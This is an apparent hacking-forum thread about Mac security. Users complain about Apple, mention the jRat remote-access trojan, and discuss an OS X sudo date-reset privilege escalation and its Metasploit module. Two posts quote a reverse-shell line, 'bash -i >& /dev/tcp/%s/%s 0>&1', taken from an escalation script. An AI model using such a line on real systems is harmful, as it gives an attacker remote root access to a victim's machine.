I will scream at the next person who tells me Macs are secure!

Macs are not secured. I'm not sure that was still the conception.

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

Ok, from python documentation for 3.2.2:

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

and

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

So from what I understand, Popen('bash'... ) should open a bash shell, and the std*=subprocess.PIPE should give whatever the bash shell spits out as the "request" in the reverse shell.

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

First, what's with the date? Is it really necessary to -setdate 01:01:1970?
second, shouldn't the second part,
sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)
require root access in the first place? I'm just a little confused, because it doesn't seem to me like we have root access yet, only access at the level of the person who runs the script.
Someone help?

Macs have terrible security. People fail to realize that the reason why less Mac users are taken advantage of, is simply because there are less Mac users.

(10-20-2013, 12:49 AM)3SidedSquare Wrote:

[To see links please register here]

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

Ok, from python documentation for 3.2.2:

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

and

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

So from what I understand, Popen('bash'... ) should open a bash shell, and the std*=subprocess.PIPE should give whatever the bash shell spits out as the "request" in the reverse shell.

Hidden Content

You must

[To see links please register here]

or

[To see links please register here]

to view this content.

First, what's with the date? Is it really necessary to -setdate 01:01:1970?
second, shouldn't the second part,
sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)
require root access in the first place? I'm just a little confused, because it doesn't seem to me like we have root access yet, only access at the level of the person who runs the script.
Someone help? :sad:

About five months ago, a bug was discovered on using the Date & Time settings within OSX 10.8.4 and below to perform a local privilege escalation from a normal user to root. The original flaw was a bug in Unix and sudo and allows the execution of changing the date and time to escalate to root permissions from a normal user. The flaw was recently put into the Metasploit Framework by Todd Miller (original bug discovery), Joev (wrote the module), and Juan, Vazquez (bug testing and module fixing).

I dislike every apple product for the simple fact they try to control everything!
This is the major reason I love linux, yet I still don't use it as my main OS because most games are not compatible with it. I will one day... I think this "failure" launch of win8 each looks kind of a mobile OS will bring people try new OS linux based, I'm sincerely considering changing to linux when SteamOS arrives because there will be many custom distros out there that will satisfy my gaming and programming needs.

Macs are secure *trollface*

(10-20-2013, 01:13 AM)Oni Wrote:

[To see links please register here]

Macs have terrible security. People fail to realize that the reason why less Mac users are taken advantage of, is simply because there are less Mac users. :tongue:

This is not true anymore. Shitty rats like jshit affect macs and windows so it's no extra effort.

Macs were secure originally because most malware was built to run on windows. Now that macs are "a thing" people are developing for them, and in turn they're just as shitty was windows is.

I have an English teacher that's adamant she's queen of the fucking internet because she's "untouchable" on her mac. I explained jRat to her and she said "but that's only one virus..."

Idiots.

(10-20-2013, 03:37 AM)Cosmic Wrote:

[To see links please register here]

Macs were secure originally because most malware was built to run on windows. Now that macs are "a thing" people are developing for them, and in turn they're just as shitty was windows is.

I have an English teacher that's adamant she's queen of the fucking internet because she's "untouchable" on her mac. I explained jRat to her and she said "but that's only one virus..."

Idiots.

Explain that this is a freely accessible virus being run by hundreds of thousands of people.

(10-20-2013, 01:34 AM)mig4ng Wrote:

[To see links please register here]

I dislike every apple product for the simple fact they try to control everything!

That's the truth. The only reason I got a mac was because it was required to develop for the iPhone. Now for an example, there's this development platform called X-Code which is needed for any security tool ( I pentest with my mac) (and Python is absolutely fucked on this thing) .. I reinstalled my OSX Lion and noticed X-Code wasn't compatible with my mac anymore, not because it really wasn't compatible, but because Apple blocked it out forcing me to pay for the "Mountain Lion" upgrade. I'm just getting my monies worth with this thing and it's back to Linux for me. (Games on Mac? No, your shit will turn into a burning coal in 10 minutes).

It's also plain as day that Steve Jobs copied the whole Unix/Linux source and called it his. Apple is a marketing company, not a tech company.


Rant complete.